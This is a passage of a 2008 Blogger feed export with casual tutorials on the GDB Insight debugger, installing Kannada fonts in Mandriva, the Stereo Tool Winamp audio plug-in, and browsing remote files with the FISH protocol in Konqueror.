user)&lt;/li&gt;&lt;li&gt;Assembly&amp;nbsp;&lt;/li&gt;&lt;li&gt;Source + Assembly (split view)&lt;/li&gt;&lt;li&gt;Mixed (assembly language version for each high level language instructions)&lt;/li&gt;&lt;/ol&gt;&lt;div style="text-align: justify;"&gt;Following image is of assembly language version of a program I was debugging when I took this screen shots.&lt;/div&gt;&lt;div style="text-align: left;"&gt;&amp;nbsp;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_Pms4ehFPMfI/SQnvKy3a0JI/AAAAAAAAAbY/G0Jp4v9N7nw/s1600-h/Screenshot-leaky.c+-+Source+Window-5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_Pms4ehFPMfI/SQnvKy3a0JI/AAAAAAAAAbY/UD-4JCg5kFY/s400-R/Screenshot-leaky.c+-+Source+Window-5.png" /&gt;&lt;/a&gt;&amp;nbsp;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: justify;"&gt;So now tell me isn't it easy to debug your code with this tool ? Any way HAppy Debugging :)&amp;nbsp;&lt;/div&gt;&lt;div style="text-align: left;"&gt; &amp;nbsp;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt; &amp;nbsp;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7107735130942041345-4120434840197986318?l=blog.copyninja.info' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://blog.copyninja.info/2008/10/gdbs-gui-insight-tutorial.html#comment-form' title='9 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/4120434840197986318'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/4120434840197986318'/><link rel='alternate' type='text/html' href='http://blog.copyninja.info/2008/10/gdbs-gui-insight-tutorial.html' title='GDB&apos;s GUI &quot;insight&quot; Tutorial'/><author><name>Vasudev Kamath</name><uri>http://www.blogger.com/profile/05106578827322209004</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_Pms4ehFPMfI/SfQvOlokxkI/AAAAAAAAAiY/kxXT9m_Zmi4/S220/Kakashi.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_Pms4ehFPMfI/SQnw__buRAI/AAAAAAAAAcg/sRwp0uKGR6U/s72-Rc/Screenshot-Source+Window.png' height='72' width='72'/><thr:total>9</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7107735130942041345.post-2656326652970220369</id><published>2008-10-27T23:26:00.000-07:00</published><updated>2008-11-11T20:47:39.689-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='font help'/><category scheme='http://www.blogger.com/atom/ns#' term='mandriva localization'/><category scheme='http://www.blogger.com/atom/ns#' term='LINUX'/><title type='text'>Font Help in Mandriva 2008.1</title><content type='html'>&lt;div style="text-align: justify;"&gt;Is Firefox in Mandriva 2008 not displaying the Websites in local fonts properly ? Well in such case don't worry cos even I had the same problem but I solved the problem and now I'm going to tell how can you people do it in Mandriva. Don't worry you don't have to use Shell for configuring this its All done through Mandriva' s&amp;nbsp; control center. First launch the Control Center. You will see a side bar containing some tabs and&amp;nbsp; a wide right part. You can have a look at it below.&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_Pms4ehFPMfI/SQayZXsMBKI/AAAAAAAAAZo/f_MUViV5nng/s1600-h/snapshot1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_Pms4ehFPMfI/SQayZXsMBKI/AAAAAAAAAZo/KndOkqvJzhU/s400-R/snapshot1.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;You can see the Software Management tab now click on Install and Remove Software in the right part of the Window. In the software management window set the to drop down list in top left corner to "&lt;i&gt;All&lt;/i&gt;". In the side bar Collapse "&lt;i&gt;System&lt;/i&gt;" under that collapse "&lt;i&gt;Fonts&lt;/i&gt;" and select "&lt;i&gt;True Type&lt;/i&gt;" now in the right side you will see list of fonts available, if check box in front of font name is checked then that font is all ready installed in your system. In the list search for "&lt;i&gt;fontsttfkannada&lt;/i&gt;"(any local font you wnat I wanted Kannada) and check the check box in front of it. Also click on &lt;i&gt;internationalisation&lt;/i&gt; and select package &lt;i&gt;locales-kn&lt;/i&gt;(for kannada language). Steps(&lt;i&gt;installing kannada font&lt;/i&gt;) which I told here are shown in the image below. &lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_Pms4ehFPMfI/SQa0xYEuwmI/AAAAAAAAAZw/RI2-FSWvIvQ/s1600-h/snapshot2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_Pms4ehFPMfI/SQa0xYEuwmI/AAAAAAAAAZw/jgWVdO3UXDY/s400-R/snapshot2.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Now just click on Apply button. One good thing about Mandriva which I want to mention here is whenever you install a package Mandriva will search for all the dependencies of the package will be searched and installed, so you don't have to worry about dependencies. So when you click on apply you may get a box specifying dependencies and asking your confirmation for installing them. Just click "&lt;i&gt;OK&lt;/i&gt;" in such case. Make sure you are connected to Internet. Mandriva will ask confirmation for connecting to internet and download all required packages and installs them. Once this is done what next? See image given below.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_Pms4ehFPMfI/SQa4xld6Y9I/AAAAAAAAAZ4/CgEgMyAYdeM/s1600-h/snapshot3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_Pms4ehFPMfI/SQa4xld6Y9I/AAAAAAAAAZ4/2DD7K9EW54Y/s400-R/snapshot3.jpg" /&gt;&lt;/a&gt;&amp;nbsp;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: justify;"&gt;As shown in above image select the System tab in left bar. In the right window click "&lt;i&gt;Manage, add and remove fonts. Import Windows(TM) fonts&lt;/i&gt;" A font window&amp;nbsp; will open up as shown in image below.&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_Pms4ehFPMfI/SQa46gBKJrI/AAAAAAAAAaA/CDnKAcNG7cs/s1600-h/snapshot4.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://1.bp.blogspot.com/_Pms4ehFPMfI/SQa46gBKJrI/AAAAAAAAAaA/yfsIbBmsZx4/s320-R/snapshot4.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;At the bottom of window you can see 4 buttons click on "&lt;i&gt;import&lt;/i&gt;" and a Import fonts window will pop up which you can see in the above image. There click on the&amp;nbsp; "&lt;i&gt;Add&lt;/i&gt;"&amp;nbsp; button it will open up a window&amp;nbsp; for searching the fonts&amp;nbsp; there follow this path&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;blockquote&gt;/usr/share/fonts/ttf/Kannada/&amp;nbsp;&lt;/blockquote&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;This is the folder were the &lt;i&gt;fontsttfkannada&lt;/i&gt; is installed by Mandriva. In this folder you will see single font by name "&lt;i&gt;Sampige.ttf&lt;/i&gt;" select it and click "&lt;i&gt;Open&lt;/i&gt;" button given at bottom of window. Following image describes this step.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_Pms4ehFPMfI/SQa5FSReKeI/AAAAAAAAAaI/AVUIGlHeoco/s1600-h/snapshot5.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="240" src="http://4.bp.blogspot.com/_Pms4ehFPMfI/SQa5FSReKeI/AAAAAAAAAaI/mgY8qbVbbBY/s320-R/snapshot5.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Now you will be returned to Import fonts window you will see "&lt;i&gt;install&lt;/i&gt;" button in the bottom right corner just click on it and font will get installed but import window will be there even after installation is complete now just click on "&lt;i&gt;Cancel&lt;/i&gt;" and now check if "&lt;i&gt;Sampige&lt;/i&gt;"(or font name) is in the font list. Now click on &lt;i&gt;Close&lt;/i&gt;. One more step to go. See image below.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_Pms4ehFPMfI/SQa4xld6Y9I/AAAAAAAAAZ4/CgEgMyAYdeM/s1600-h/snapshot3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_Pms4ehFPMfI/SQa4xld6Y9I/AAAAAAAAAZ4/2DD7K9EW54Y/s400-R/snapshot3.jpg" /&gt;&lt;/a&gt;&amp;nbsp;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: justify;"&gt;Now again in the "System" tab just click on "&lt;i&gt;Manage localization of the system&lt;/i&gt;" in the window which pops up search for "&lt;i&gt;Kannada&lt;/i&gt;"(or any font you want) clcik on "&lt;i&gt;Next&lt;/i&gt;" next window will give you a least of Countries were "India" will be selected if you select any Indian Language in previous window. Click next&amp;nbsp; to finish the job. Log off and then Log in again for changes made to take effect. And try opening your favourite local language site and there you go now every thing is looking how it should look. Here are set of images which describe these steps.&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_Pms4ehFPMfI/SQa-cckb8OI/AAAAAAAAAaQ/pXkG7sUYmZM/s1600-h/snapshot6.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="240" src="http://1.bp.blogspot.com/_Pms4ehFPMfI/SQa-cckb8OI/AAAAAAAAAaQ/Zub_Q3lLVEw/s320-R/snapshot6.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_Pms4ehFPMfI/SQbCR5y2BMI/AAAAAAAAAaY/tNcUz6NIKuk/s1600-h/snapshot7.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_Pms4ehFPMfI/SQbCR5y2BMI/AAAAAAAAAaY/BptnKuZt-P8/s400-R/snapshot7.jpg" /&gt;&lt;/a&gt;&amp;nbsp;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&amp;nbsp;&lt;a href="http://2.bp.blogspot.com/_Pms4ehFPMfI/SQbClWA4p9I/AAAAAAAAAag/TOkJuurbAMY/s1600-h/snapshot8.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="240" src="http://2.bp.blogspot.com/_Pms4ehFPMfI/SQbClWA4p9I/AAAAAAAAAag/uoD1gEvt28Y/s320-R/snapshot8.jpg" width="320" /&gt;&lt;/a&gt;&amp;nbsp;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: justify;"&gt;This is how Kannada website &lt;a href="http://sampada.net/"&gt;http://sampada.net &lt;/a&gt;will look in Mandriva after making the changes.&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&amp;nbsp;&lt;a href="http://3.bp.blogspot.com/_Pms4ehFPMfI/SQbDhWItucI/AAAAAAAAAao/zyS-yLtEY-M/s1600-h/snapshot9.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="240" src="http://3.bp.blogspot.com/_Pms4ehFPMfI/SQbDhWItucI/AAAAAAAAAao/r8md8rNPgRc/s320-R/snapshot9.jpg" width="320" /&gt;&lt;/a&gt;&amp;nbsp;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: justify;"&gt;Now tell me whether you felt it difficult or easy to configure the local fonts in Mandriva :)&amp;nbsp;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7107735130942041345-2656326652970220369?l=blog.copyninja.info' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://blog.copyninja.info/2008/10/font-help-in-mandriva-2008.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/2656326652970220369'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/2656326652970220369'/><link rel='alternate' type='text/html' href='http://blog.copyninja.info/2008/10/font-help-in-mandriva-2008.html' title='Font Help in Mandriva 2008.1'/><author><name>Vasudev Kamath</name><uri>http://www.blogger.com/profile/05106578827322209004</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_Pms4ehFPMfI/SfQvOlokxkI/AAAAAAAAAiY/kxXT9m_Zmi4/S220/Kakashi.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_Pms4ehFPMfI/SQayZXsMBKI/AAAAAAAAAZo/KndOkqvJzhU/s72-Rc/snapshot1.jpg' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7107735130942041345.post-3205774967223969977</id><published>2008-10-27T09:02:00.000-07:00</published><updated>2008-10-27T09:46:36.426-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Audio enhancers'/><category scheme='http://www.blogger.com/atom/ns#' term='DSP enhancer'/><category scheme='http://www.blogger.com/atom/ns#' term='Stereo Tool'/><title type='text'>An awsome audio enhancer Stereo Tool (DSP Plug-in)</title><content type='html'>&lt;div style="text-align: justify;"&gt;Your speaker's are not giving good quality out put? Want to get good effects hidden in each song? Then you should download this plug-in for Winamp like players this include these players &lt;a href="http://www.winamp.com/"&gt;Winamp&lt;/a&gt;, &lt;a href="http://www.spacialaudio.com/"&gt;SAM Broadcaster&lt;/a&gt;, &lt;a href="http://www.djsoft.net/"&gt;RadioBOSS&lt;/a&gt; and all those player which supports Winamp DSP plug-ins.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;I came accross this when my sir gave me the link of the website of this tool. As its a free software I thought&amp;nbsp; it might not be that good still I wanted to give it a try so downloaded it from this &lt;a href="http://www.stereotool.com/download/"&gt;link&lt;/a&gt;. Here you will see a screen shot of this tool just click on it to download the plug-in.&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://www.stereotool.com/download/dsp_stereo_tool_installer.exe" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="284" src="http://4.bp.blogspot.com/_Pms4ehFPMfI/SQXpPNTMPqI/AAAAAAAAAZI/yup2L_p4CJ8/s320-R/st_95perc.gif" width="320" /&gt;&lt;img /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://www.stereotool.com/download/dsp_stereo_tool_installer.exe"&gt;Direct Download Link&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Before I was using DFX Audio Enhancer which is rated as the best audio enhancer in google also a proprietary software. But after using Stereo Tool plug-in I found DFX is nothing compared to this free software. Ya there is some problem with clarity if you try to alter all the controls shown in above image at a time, I suggest try&amp;nbsp; each controls individually to see their effects especially try increasing Post AMP and Pre Amps at top sound of the song will be boosted awesomely. Forgot to mention some&amp;nbsp; of the&amp;nbsp; features are trial&amp;nbsp; what the website&amp;nbsp; tells about the trial&amp;nbsp; features is&amp;nbsp;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;blockquote&gt;If these features are enabled on the free (non-registered) version, a message ('This sound is processed by Stereo Tool') is played once every 12 hours. This should not interfere with most non-commercial usage.&lt;/blockquote&gt;&lt;div style="text-align: justify;"&gt;&amp;nbsp;So not a big problem rite?&amp;nbsp; This plug-in is actually developed for the FM-Stations so registered version is for the FM Stations. And when you activate you can see a line telling that trial features activated in the header of the plug-in. When you launch Winamp the plug-in will be launched along with it if you don't want this to happen in the plug-in there is a option which says "open as a system tray icon on launch" just check this option and it will reside in your system tray when you open it. I also suggest you to play songs without selecting any presets(also play with presets you will notice the difference). &lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;This software is for Windows only but don't worry Linux is&amp;nbsp; also having similar things one of them is Ardour Digital Audio Workstation check out this &lt;a href="http://ardour.org/"&gt;link&lt;/a&gt;.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Well folks I hope you people will also like the Stereo Tool. Try it and don't forget to leave your experience as a comment :)&amp;nbsp;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7107735130942041345-3205774967223969977?l=blog.copyninja.info' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://blog.copyninja.info/2008/10/awsome-audio-enhancer-stereo-tool-dsp.html#comment-form' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/3205774967223969977'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/3205774967223969977'/><link rel='alternate' type='text/html' href='http://blog.copyninja.info/2008/10/awsome-audio-enhancer-stereo-tool-dsp.html' title='An awsome audio enhancer Stereo Tool (DSP Plug-in)'/><author><name>Vasudev Kamath</name><uri>http://www.blogger.com/profile/05106578827322209004</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_Pms4ehFPMfI/SfQvOlokxkI/AAAAAAAAAiY/kxXT9m_Zmi4/S220/Kakashi.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_Pms4ehFPMfI/SQXpPNTMPqI/AAAAAAAAAZI/yup2L_p4CJ8/s72-Rc/st_95perc.gif' height='72' width='72'/><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7107735130942041345.post-6750684884956976754</id><published>2008-10-25T08:42:00.000-07:00</published><updated>2008-10-25T11:54:41.393-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Konqueror'/><category scheme='http://www.blogger.com/atom/ns#' term='LINUX'/><category scheme='http://www.blogger.com/atom/ns#' term='fish protocol'/><title type='text'>Have you gone fishing in Linux ? !!</title><content type='html'>&lt;div style="text-align: justify;"&gt;Surprised by the heading of this article ?? Well the &lt;b&gt;fish&lt;/b&gt; i'm referring here has nothing to do with living creature. The fish actually stands for &lt;i&gt;&lt;b&gt;FI&lt;/b&gt;les transferred over the &lt;b&gt;SH&lt;/b&gt;ell&lt;/i&gt; and it was originally developed by &lt;i&gt;Pavel Machek&lt;/i&gt;. Now lets see what is this fish all about. I came across this fish few weeks back when i needed to copy more than 2GB of software from one of my project PC to other. I didn't had any USB device to copy these softwares so that I can transfer them to other PC and our sir took the DVD containing these software to provide it to other students. My brain started thinking about sharing the files as we do in Windows so we can access files from any where on LAN so I tried to share the files using NFS but it didn't work then I tried using &lt;i&gt;scp&lt;/i&gt;,&lt;i&gt;ssh&lt;/i&gt;,&lt;i&gt;ftp&lt;/i&gt; well nothing seemed to help me. Then I asked our sir how can I transfer the files to other Desktop over LAN he told "&lt;i&gt;fish it out &lt;/i&gt;!!" well I was not sure what to tell I just asked what he actually meant.Then he told its a protocol which allows you access and modify the files across the world!! only you need to know the domain name and password for a specific user.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Now lets have a look at the detailed usage of FISH. To use this protocol your Linux version should have KDE3.1 or higher Desktop environment. FISH is incorporated into &lt;i&gt;Konqueror web browser/file manager&lt;/i&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Now start the Konqueror(if you are using GNOME Desktop) (in case you are using KDE Desktop just click on the home icon to launch the Konqueror). Once konqueror is running just type following line in the address field&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;blockquote&gt;&lt;blockquote&gt;fish://username@computer_name(or host) &lt;/blockquote&gt;&lt;/blockquote&gt;&lt;div style="text-align: justify;"&gt;Once you are connected to the machine you specified You will get a message box asking the password for specified user. See the following image&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_Pms4ehFPMfI/SQNJeBulamI/AAAAAAAAAYA/raCEN1ajeUw/s1600-h/fish1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_Pms4ehFPMfI/SQNJeBulamI/AAAAAAAAAYA/-Eu6v_lmTt4/s400-R/fish1.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&amp;nbsp; &lt;/div&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Once you enter correct password you are in the home folder of specified user on the remote machine. And you feel like you are in your machine's file system no command prompt or commands required to access files or modify files, isn't it cool.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Now to access your files or create a new file on the remote machine you just need to follow normal procedures you used to do, i.e to create a new file just right click on Konqueror window and select required type of files under &lt;i&gt;Create New&lt;/i&gt;. To open a text file just double click on the files which will open the file in Konquerors corresponding embedded application. If you want to open the files in application of your own choice just right click on the file and select applications under the &lt;i&gt;Open with&lt;/i&gt;. See the following images&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_Pms4ehFPMfI/SQNKajd80sI/AAAAAAAAAYI/LzQzlFQBe5o/s1600-h/fish2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_Pms4ehFPMfI/SQNKajd80sI/AAAAAAAAAYI/GvEwnI2IKLc/s400-R/fish2.png" /&gt;&lt;/a&gt;&amp;nbsp;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&amp;nbsp;&lt;a href="http://4.bp.blogspot.com/_Pms4ehFPMfI/SQNNzYDFf0I/AAAAAAAAAYQ/9EHI-9beg0A/s1600-h/fish3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_Pms4ehFPMfI/SQNNzYDFf0I/AAAAAAAAAYQ/EW0RQnZE2J4/s400-R/fish3.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_Pms4ehFPMfI/SQNOBedYkhI/AAAAAAAAAYY/iGywFr0htiY/s1600-h/fish4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_Pms4ehFPMfI/SQNOBedYkhI/AAAAAAAAAYY/U6iXjnUFPck/s400-R/fish4.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;You can also edit or create rich text documents using the FISH in konqueror. Konqueror is a 'drag-n-drop' style file manager i.e you can copy or move files by just dragging the things arround. So you can create a rich text doccument in your machine and then drag it over the network to remote machine really cool rite no ftp no ssh nothing simple 'drag-n-drop' works even for remote machines. For such drag n drop thing to be made easily just split the konqueror into right-left or top-down views. This can be done from &lt;i&gt;Window tab &lt;/i&gt;option. Following image shows top-down splitting of konqueror window.Set one of the view to your machine file system other to refer remote machine, to transfer files drag files from one view to other and konqueror provides you option asking whether you want to copy files and move files&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_Pms4ehFPMfI/SQNeu9Lza5I/AAAAAAAAAYg/Ehds2NUq7AM/s1600-h/fish_splitview.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_Pms4ehFPMfI/SQNeu9Lza5I/AAAAAAAAAYg/iNm3gakI1Pw/s400-R/fish_splitview.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Well...&amp;nbsp; coming back to editing of rich text files, just right click and open files with &lt;i&gt;Open Office writer &lt;/i&gt;after you are done editing is done konqueror will prompt for uploading the changes. Following set of images illustrate this.&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_Pms4ehFPMfI/SQNg-3QVJ-I/AAAAAAAAAY4/csQ1SsRoJPg/s1600-h/fishC3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_Pms4ehFPMfI/SQNg-3QVJ-I/AAAAAAAAAY4/Id2CDaS9O5A/s400-R/fishC3.png" /&gt;&lt;/a&gt;&amp;nbsp;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&amp;nbsp;&lt;a href="http://3.bp.blogspot.com/_Pms4ehFPMfI/SQNhFdYYhmI/AAAAAAAAAZA/bmbyfL-j87I/s1600-h/fishC4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_Pms4ehFPMfI/SQNhFdYYhmI/AAAAAAAAAZA/9S7s_I0tclk/s400-R/fishC4.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Thus Konqueror along with FISH protocol provides us a way of doing remote computing. Note that FISH is not same as remote desktop which is there in &lt;i&gt;Windows &lt;/i&gt;where remote user will be logged off if you try to access the remote machine. With FISH the remote user will not even know you are accessing his Machine, again note that this is not a security threat because without knowing the user name and a password you can not access the remote machine unlike Windows file sharing where shared file can be seen by any one in the network without any authentication.&lt;/div&gt;&lt;div style="text-align: 